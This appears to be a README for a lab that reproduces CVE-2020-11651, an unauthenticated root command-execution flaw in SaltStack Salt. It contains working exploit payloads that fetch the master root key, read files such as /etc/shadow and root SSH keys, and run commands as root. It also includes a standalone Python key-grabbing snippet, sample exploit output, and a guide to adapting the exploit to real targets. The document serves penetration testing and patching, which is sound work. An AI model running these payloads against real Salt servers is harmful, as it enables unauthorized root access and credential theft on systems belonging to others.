CVE-2020-11651 — SaltStack Authentication Bypass / Remote Code Execution
Overview
| Field | Value |
|---|---|
| CVE | CVE-2020-11651 |
| Software | SaltStack Salt |
| Version Tested | 2019.2.3 |
| Vulnerable Range | < 2019.2.4 and 3000 < 3000.2 |
| Type | Authentication Bypass / RCE |
| CVSS v3 | 9.8 (Critical) |
| Authentication | Not required |
| Attack Vector | Network (port 4506) |
| Disclosed | 2020-04-30 |
The salt-master process ClearFuncs class does not properly validate method
calls. An unauthenticated remote attacker who can reach port 4506 can call
_prep_auth_info() to retrieve the master root key, then use that key to read
or write arbitrary files and execute commands as root on both the master and all
connected minions.
Quick Start
bash verify.sh
This starts the vulnerable environment, waits for the service, runs the exploit, and prints evidence of exploitation. Zero manual steps required.
Environment
- Image:
vulhub/saltstack:2019.2.3 - Ports: 4506 → salt-master ZMQ return port (exploit target)
- Ports: 4505 → salt-master ZMQ publish port
- Ports: 8000 → salt-api (REST)
- Credentials: none required (that's the vulnerability)
- Setup time: ~15 seconds for salt-master to initialize
docker compose up -d # start
docker compose logs -f # watch logs
docker compose ps # check status
docker compose down # teardown
Exploit
- File:
exploit/exploit.py - Source: https://github.com/jasperla/CVE-2020-11651-poc (reference)
- Language: Python 3
- Dependencies:
pyzmq,msgpack
How It Works
SaltStack uses ZeroMQ for master-minion communication. Port 4506 hosts a
zmq.ROUTER socket that accepts connections from minion zmq.REQ sockets.
Messages are msgpack-encoded and wrapped in {'enc': 'clear', 'load': payload}.
The ClearFuncs class on the master handles pre-authentication messages. The
method _prep_auth_info() is intended only for internal use but is improperly
exposed — any unauthenticated caller can invoke it and receive the master root
key in the response.
Exploit steps:
-
Get root key (no auth) Send
{'cmd': '_prep_auth_info'}to port 4506. The response containsresult[2]['root']— the master root key valid for the current session. -
Read arbitrary files Use the wheel module:
{'key': root_key, 'cmd': 'wheel', 'fun': 'file_roots.read', 'path': '/etc/passwd', 'saltenv': 'base'}. Returns the file contents directly. -
Execute commands on master Use the runner interface with
salt.cmdrunner andcmd.exec_code(Python):{'key': root_key, 'cmd': 'runner', 'fun': 'salt.cmd', 'kwarg': {'fun': 'cmd.exec_code', 'lang': 'python', 'code': "import subprocess; open('/tmp/out','w').write(subprocess.check_output('id',shell=True).decode())"}}Then read the output file back with
wheel.file_roots.read.
Manual Usage
# Start environment first
docker compose up -d
# Install dependencies
pip install -r exploit/requirements.txt
# Run exploit (default: id && hostname && uname -a)
python3 exploit/exploit.py --target 127.0.0.1 --port 4506
# Read an arbitrary file
python3 exploit/exploit.py --target 127.0.0.1 --read /etc/shadow
# Execute custom command
python3 exploit/exploit.py --target 127.0.0.1 --exec "cat /root/.ssh/authorized_keys"
Expected Output
============================================================
CVE-2020-11651 — SaltStack Authentication Bypass / RCE
============================================================
[*] Target: 127.0.0.1:4506
[*] Calling _prep_auth_info() on 127.0.0.1:4506 (no auth required)...
[+] VULNERABILITY CONFIRMED: CVE-2020-11651
[+] Master root key (unauthenticated): BucZ0cJT+yWtZTCjJw68EANKLmS5HvWbCbVeFLElf1uZk8cbbaFVWhLhNocfxosJVJd+sf6b+lM=
[*] Demonstrating file read: /etc/passwd
[+] /etc/passwd (20 lines):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
[*] Demonstrating RCE: id && hostname && uname -a
[+] Command output:
uid=0(root) gid=0(root) groups=0(root)
4043663f2574
Linux 4043663f2574 6.8.0-90-generic #91-Ubuntu SMP x86_64 GNU/Linux
============================================================
[+] Exploitation complete — evidence summary:
Root key: BucZ0cJT+yWtZTCjJw68EANK...
/etc/passwd root entry: root:x:0:0:root:/root:/bin/bash
RCE output[0]: uid=0(root) gid=0(root) groups=0(root)
Evidence quality: STRONG
============================================================
Pentest Adaptation Guide
Target Discovery
Identify exposed salt-master instances:
# Nmap: scan for ZMQ ports 4505/4506
nmap -p 4505,4506 -sV --open <target_range>
nmap -p 4506 --script banner <target>
# Quick Python port check
python3 -c "import socket; s=socket.socket(); s.settimeout(2); print(s.connect_ex(('TARGET',4506)))"
# Shodan query (for threat intelligence, not active scanning)
# port:4506 product:"ZeroMQ"
# Check if the master responds (confirms Salt, not just open TCP)
python3 exploit/exploit.py --target <IP> --port 4506
Salt version can sometimes be read from the API banner:
curl -sk http://<target>:8000/ -H 'Accept: application/json'
Adapting the Exploit
| Parameter | Default | Change to |
|---|---|---|
--target | 127.0.0.1 | Target IP or hostname |
--port | 4506 | Real port if non-standard |
--exec | id && hostname && uname -a | Your proof-of-concept command |
--read | (none) | /etc/shadow, /root/.ssh/id_rsa, etc. |
For targets behind NAT or a firewall, ensure port 4506 (TCP) is reachable from your assessment machine. There is no authentication to bypass — if the port is reachable, exploitation succeeds.
If the target runs salt in a non-standard configuration (different port, TLS transport, or firewall-blocked ZMQ), try the REST API on port 8000 instead — see CVE-2020-11652 which uses the same root key via the HTTP wheel endpoint.
Safe Verification (Non-Destructive)
To confirm vulnerability without executing commands or modifying files:
# Step 1 only: just retrieve the root key (read-only proof)
python3 - <<'EOF'
import zmq, msgpack
ctx = zmq.Context()
s = ctx.socket(zmq.REQ)
s.setsockopt(zmq.LINGER, 0)
s.setsockopt(zmq.RCVTIMEO, 5000)
s.connect("tcp://TARGET:4506")
s.send(msgpack.packb({"enc": "clear", "load": {"cmd": "_prep_auth_info"}}, use_bin_type=True))
r = msgpack.unpackb(s.recv(), raw=False)
print("VULNERABLE - root key:", r[2]["root"][:20], "...")
EOF
This is entirely passive (read-only). A response proves the vulnerability; timeout means patched or unreachable.
For reading files, prefer /etc/hostname (always present, non-sensitive) over
/etc/shadow to minimize data exposure during testing:
python3 exploit/exploit.py --target TARGET --read /etc/hostname
Avoid running commands (--exec) unless explicitly authorized, as runner jobs
create log entries and can be disruptive.
Evidence Collection
Capture the following for your pentest report:
-
Terminal recording of
verify.shor manual exploit run showing:- The root key returned by
_prep_auth_info() - File contents from
/etc/passwdor/etc/hostname - RCE output (
uid=0(root))
- The root key returned by
-
Network capture (optional):
tcpdump -i any port 4506 -w salt_exploit.pcap— shows the unauthenticated ZMQ messages -
Log evidence from the target:
# On the target (if accessible): grep -i "runner\|_prep_auth" /var/log/salt/master -
CVSS justification for report:
AV:N— network accessible via port 4506AC:L— no special conditions; port open = exploitablePR:N— no credentials requiredUI:N— no user interactionC:H / I:H / A:H— full root RCE on master and all minions
OWASP/PTES finding template:
Finding: SaltStack Salt Authentication Bypass (CVE-2020-11651) Severity: Critical (CVSS 9.8) Evidence: Unauthenticated call to
_prep_auth_info()on port 4506 returned master root key. Key used to executeidvia runner, confirming RCE as uid=0. Recommendation: Upgrade to Salt >= 2019.2.4 or >= 3000.2. Restrict access to ports 4505/4506 to authorized minions only (firewall/VPC rules).